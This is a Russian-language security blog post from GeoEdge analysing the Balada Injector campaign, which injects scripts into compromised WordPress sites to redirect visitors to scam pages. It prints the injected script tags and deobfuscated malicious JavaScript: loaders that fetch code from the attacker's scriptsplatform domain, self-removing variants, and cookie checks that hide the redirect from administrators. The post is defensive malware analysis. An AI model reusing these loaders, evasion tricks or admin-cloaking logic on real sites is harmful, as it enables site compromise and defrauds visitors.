Автор GeoEdge Team в Вредоносной рекламе, Исследования безопасности

Группа исследований безопасности GeoEdge обнаружила взломанные веб-сайты WordPress, перенаправляющие пользователей на вредоносные мошеннические и порнографические страницы. Эксплуатация однодневных уязвимостей, в том числе CVE-2023–32241 и ряда других уязвимостей, доказала свою высокую эффективность при атаке на веб-сайты и их компрометации.

Затронуто около 230 веб-сайтов, связанных с более чем 500 рекламными кампаниями по всему миру. Примечательно, что эти кампании не нацелены на конкретные местоположения, операционные системы или устройства. Скорее, мошенники используют уязвимости на этих веб-сайтах для внедрения кода. Используя вредоносный код, мошенники манипулируют трафиком веб-сайта, чтобы участвовать в мошеннических действиях, используя такие методы, как отравление файлами cookie и перенаправления.

С 2017 года атака под названием Balada Injector привела к массовому заражению веб-сайтов WordPress. Чтобы получить представление о взломанных сайтах, Мория Педаэль, исследователь безопасности в GeoEdge, изучила кампанию. В этом сообщении блога мы углубимся в тонкости этого кода, который перенаправляет пользователей с законных веб-сайтов на мошеннический контент.

Рисунок 1. Вредоносные страницы после перенаправления

Первоначальный анализ

Исследовательская группа GeoEdge начала расследование с проверки HTML-файла скомпрометированной страницы на наличие подозрительных элементов.

Обнаружен внешний ресурс, ответственный за перенаправление. Скрипт на ресурсе явно был вредоносным, несмотря на то, что он был встроен в законный и известный веб-сайт. Рассматривая это как потенциальную атаку, команда провела систематический поиск дополнительных экземпляров того же ресурса в своей системе. Как и ожидалось, они обнаружили широкое присутствие этого ресурса на многочисленных сайтах. Дальнейшее расследование показало, что все эти сайты были созданы с использованием платформы WordPress.

Стало очевидно, что сайты, содержащие вредоносный код, не являются вредоносными сами по себе, а являются жертвами преднамеренной злонамеренной атаки. Команда стремилась выявить между ними более сильное сходство, например, использование одного и того же плагина с известными общими уязвимостями и воздействиями (CVE) или общей уязвимой версией WordPress.

Таблица 1. Примеры различных версий плагинов WordPress на различных атакованных сайтах

Результаты, полученные в ходе расследования, были разнообразными. Хотя на некоторых сайтах действительно использовались уязвимые версии WordPress или плагинов, не удалось однозначно установить, использовал ли злоумышленник одну и ту же CVE для этой конкретной атаки.

В результате обширного веб-исследования выяснилось, что команда Sucuri Security, компания, занимающаяся безопасностью веб-сайтов, в прошлом месяце опубликовала статью с подробным описанием своих исследований, начиная с 2017 года. Команда Sucuri отслеживала широко распространенную атаку с заражением WordPress, известную как Balada Injector. » Изучив общие ресурсы, стало ясно, что они связаны с расследуемой атакой. Однако в этой статье не будут углубляться в конкретные CVE, используемые злоумышленником, влияние на целевые веб-сайты или рекомендации по защите веб-сайтов WordPress.

Вместо этого основное внимание будет уделено опыту GeoEdge в понимании механики перенаправления и определении вредоносной природы сценария до прочтения исследования Сукури. Однако крайне важно признать динамичный и постоянно развивающийся характер этой атаки. Последующее объяснение относится только к первоначальной версии GeoEdge.

Кроме того, команда безопасности GeoEdge обнаружила в системе несколько вариантов одного и того же потока, включая разные сайты-помощники, имена файлов cookie и ряд методов обхода для каждого аспекта кампании:

Среда лексического тестирования

  • Кодирование
  • Обфускация
  • Конкатенация строк

Управление потоком

  • Маскировка
  • Печенье

Процесс очистки

  • Удаление поставленных скриптов.

Как работает перенаправление

Как упоминалось ранее, исследование GeoEdge началось после обнаружения вредоносного сценария, встроенного в законную целевую страницу. Теперь давайте рассмотрим различные этапы этой атаки:

Рисунок 2. Схема атаки с перенаправлением

1. Использование однодневных уязвимостей для первоначального доступа.
Злоумышленники использовали уязвимости для получения доступа к взломанным сайтам. В некоторых случаях они получали ограниченный доступ и могли осуществлять XSS-атаки только путем встраивания ссылки на вредоносный скрипт на страницу, аналогично тому, что мы изначально наблюдали в нашей системе.

Однако в других случаях злоумышленники получили полный доступ к упавшему объекту. В этих случаях мы наблюдали наличие одного и того же вредоносного кода, но исходящего из одного и того же скомпрометированного домена.

2. Внедрение вредоносного скрипта на страницу
Внутри HTML-кода атакованной страницы мы увидели приведенный ниже фрагмент:

<script src='https://cdn.scriptsplatform.com/scripts/header.js' type='text/javascript'></script>
<!DOCTYPE html>
<html class="html" lang="en-US"itemscope="itemscope" itemtype="https://schema.org/WebPage">
<head>

Злоумышленнику не удалось получить полный доступ к домену, но ему удалось внедрить сценарий «заголовка», полученный из домена «scriptsplatform[.]com».

Если злоумышленник получил больший доступ, было замечено, что встроенный скрипт исходил из самого скомпрометированного домена:

<script data-minify="1"
src='https://{the_compromiosed_domain}/wp-content/cache/min/1/scripts/header.js?ver=1683973697'
type='text/javascript'></script>
<!doctype html>
<html lang="en-US">

Внимание:
Важно знать об определенных элементах HTML, таких как «script», «iframe» или элементах вне блока «html», поскольку они могут указывать на потенциальную атаку. . Хотя вполне возможно, что эти элементы могут быть результатом плохой реализации, они часто означают попытку неавторизованного лица внедрить информацию на вашу веб-страницу без надлежащего доступа для изменения сгенерированного кода.

URL-адрес первого скрипта https://cdn[.]scriptsplatform[.]com/scripts/header.js
 показал этот запутанный скрипт:

Рис. 3. Первый встроенный запутанный скрипт

Злоумышленники использовали запутывание как средство сделать код сложным и непонятным для понимания людьми или компьютерами. Злоумышленники используют эту технику для устранения лексических сред обнаружения.

Скрипт предназначен для создания нового элемента «script» и вставки его либо перед запущенным в данный момент скриптом, либо в конец элемента «head». Как мы видим из приведенного ниже фрагмента, злоумышленник использовал методы кодирования, в частности метод fromCharCode, чтобы ограничить использование общих слов для атак с перенаправлением.

Метод «fromCharCode» возвращает строку, созданную из указанной последовательности кодовых единиц UTF-16. (листы MDN)

Четкий сценарий после его деобфускации:

function stendby(url) {
    var documentElement = document,
    scriptElement = documentElement['createElement']('script');
    scriptElement['src'] = url,
    document['currentScript'] ?
    document['currentScript']['parentNode']['insertBefore'](scriptElement, document['currentScript']) :
    documentElement['getElementsByTagName']('head')[0]['appendChild'](scriptElement);
}
function isScriptLoaded(url) {
    return Boolean(document['querySelector']('script[src="' + url + '"]'));
}
var klo = 'https://stat' + String['fromCharCode'](105, 115, 116, 105, 99, 115, 46) + 'script' + String['fromCharCode'](115, 112, 108, 97, 116, 102, 111, 114, 109, 46, 99) + 'om/collect';
//klo = 'https://statistics.scriptsplatform.com/collect'
isScriptLoaded(klo) === ![] && stendby(klo);

В ходе расследования было замечено, что в некоторых случаях, помимо сценария «заголовка», были также встроены два дополнительных сценария. Эти дополнительные сценарии обычно находились в конце основного элемента.

</main>
<script src='https://cdn.scriptsplatform.com/scripts/footer.js'
type='text/javascript'></script>

А еще в середине страницы:

<script src='https://cdn.scriptsplatform.com/scripts/stats.js'
type='text/javascript'></script>

Эти два сценария, обсуждавшиеся выше, практически идентичны, за исключением одного различия.

Если скрипту «заголовка» не удается создать сценарий перенаправления, сценарии «статистики» и «нижнего колонтитула» также пытаются создать его, прежде чем удалить, чтобы устранить любые его следы и «очистить» страницу.

Единственная разница между ними заключается в источнике URL, используемом для скриптов.
Если скрипт перенаправления не был создан ни в разделах «header», ни в «stats» поддомена «statistic[.]scriptsplatform[.]com »,
раздел «нижний колонтитул» попытается сгенерировать скрипт из другого субдомена, а именно «top[.]scriptsplatform[.]com».

Рисунок 4: запутанный скрипт «stats»

Четкий сценарий «статистики» после деобфускации:

function isScriptLoaded(c) {
    return Boolean(document['querySelector']('sc' + 'ri' + 'pt[' + 'sr' + 'c="' + c + '"]'));
}
var bd='https://statistic.scriptsplatform.com/collect'

if (isScriptLoaded(bd) === ![]) {
    var d = document, s = d['createElement']('sc' + 'r' + 'ip' + 't');
    s['src'] = bd, document['currentScript'] ?
        document['currentScript']['parentNode'] !== null && document['currentScript']['parentNode']['insertBefore'](s, document['currentScript']) :
        d['getElementsByTagName']('head')[0] !== null && d['getElementsByTagName']('head')[0]['appendChild'](s);
}
document['currentScript'] && document['currentScript']['remove']();

Как отмечалось выше, злоумышленник использовал методы конкатенации строк, чтобы скрыть такие слова, как «script» и «src», тем самым не позволяя механизмам обнаружения идентифицировать вредоносный сценарий.

Кроме того, злоумышленник внедрил механизм маскировки на стороне сервера, чтобы выборочно доставить вредоносный сценарий или отфильтровать его показ, чтобы избежать обнаружения.

Рисунок 5. Клоакинг на стороне сервера фильтрует запрос и опускает сценарий в ответе.

3. Цепочка перенаправлений | Часть 1

Скрипт, созданный на предыдущем этапе, https://statistics[.]scriptsplatform[.]com/collect.

раскрывая этот запутанный код:

Рисунок 6: Второй встроенный запутанный скрипт.

Этот сценарий инициирует первое перенаправление в «цепочке перенаправлений», гарантируя, что пользователь не является ни администратором, ни пользователем, который уже был перенаправлен в тот же день.

Фильтрация перед перенаправлением
API сбора выполняет предварительные проверки перед перенаправлением пользователя.
Эти проверки предназначены для того, чтобы убедиться в том, что:

  1. Пользователь не подключен как администратор.
  2. Пользователь не является отключенным администратором.
  3. Пользователь еще не был перенаправлен за прошедший день.

Для фильтрации злоумышленник использует файлы cookie клиента.
Файлы cookie «wp-settings», «wp-settings-time» указывают на то, что администратор подключен.
(Эти файлы cookie встроены в сайты WordPress для облегчения настройки интерфейса администратора)

В сценарии, когда пользователь идентифицирован как администратор, злоумышленник создает дополнительный файл cookie под названием «simpeladm» со сроком действия 90 дней, чтобы сохранить информацию о том, что клиент является администратором. Если этот файл cookie присутствует в документе, страница не будет перенаправлена. Используя этот метод, злоумышленник может контролировать администраторов и гарантировать, что даже если они отключены, они не будут перенаправлены.

С другой стороны, если пользователь не является администратором, используется сценарий для создания файла cookie с именем «simpeladus» со сроком действия 1 день, перенаправляющего пользователя на следующую часть цепочки. При последующих посещениях страницы, поскольку файл cookie уже существует, пользователь не будет подвергаться перенаправлению.

Рисунок 7. Ход выполнения сценария перенаправления.

Четкий сценарий:

function main() {
var c = document['cookie']['indexOf']('wp-settings') !== -1,
        d = 'simpeladm',
        e = 'simpeladus';
    if (c || checkForCookie('wp-settings-time') != null || checkForCookie(d) != null) {
        if (checkForCookie(d) != null) {} else createCookie(d, 1, 90);
    } else {
            var f = document['cookie']['indexOf'](e) !== -1;
            if (f) {
            } else {
                createCookie(e, 1, 1);
                var g = document,
                    h = 'https://come.scriptsplatform.com/away.php?sourceid=43637753&suid=364&pid=23468658'
 g['location']['href'] = h, g['location']['replace'](h);
    }
}
}
function createCookie(c, d, e) {
    var f = '';
    if (e) {
        var date = new Date();
        date['setTime'](date['getTime']() + e * 24 * 60 * 60 * 1000), f = '; expires=' + date['toUTCString']();
    }
    document['cookie'] = c + '=' + (d || '') + f + '; path=/';
}
function checkForCookie(stringText) {
    //returns the content of the cookie if it exists, or null if it doesn't
    var e = stringText + '=',
        cookies = document['cookie']['split'](';');
    for (var g = 0; g < cookies['length']; g++) {
            var h = cookies[g];
            while (h['charAt'](0) == ' ') //split space before the cookie id
                h = h['substring'](1, h['length']);
            if (h['indexOf'](e) == 0)
                return h['substring'](e['length'], h['length']);
        }
    return null;
}
main()

4. Цепочка перенаправлений | Часть 2

Если пользователь соответствует критериям перенаправления на заключительном этапе, его браузер отправляет запрос на перенаправление на URL-адрес: https://come[.]scriptsplatform[.]com/away.php?

Ответом на этот запрос является минимальный HTML-файл, содержащий только другое перенаправление.

HTML-ответ:

<html>
<head>
<script>
var move = "/go.php";
document.location.href=move;window.location.replace(move);
</script>
</head>
<body>
</body>
</html>

5. Цепочка перенаправлений | Часть 3

Этот URL-адрес https://come[.]scriptsplatform[.]com/go.php является последним в цепочке перед попаданием на мошеннические сайты.
Этот запрос получает код состояния 302 с URL-адресом мошеннического сайта. целевая страница.

Рисунок 8. Пример кода состояния 302 с URL-адресом целевой страницы мошенничества.

6. Вредоносная целевая страница

На рис. 9 показана обманчивая страница, предупреждающая пользователей о поврежденном телефоне и побуждающая их загрузить вредоносную поддельную антивирусную программу.

На рис. 10 показана страница, ложно заявляющая, что пользователь особенный и выиграл поддельный подарок.

На рисунке 11 изображена страница, утверждающая, что это установка блокировщика рекламы YouTube.

Команда безопасности GeoEdge будет продолжать бдительно следить за постоянными угрозами рекламного ландшафта. Следите за дальнейшими обновлениями. По любым вопросам обращайтесь в исследовательскую группу по безопасности GeoEdge.

Этот обзор в блоге GeoEdge можно найти здесь.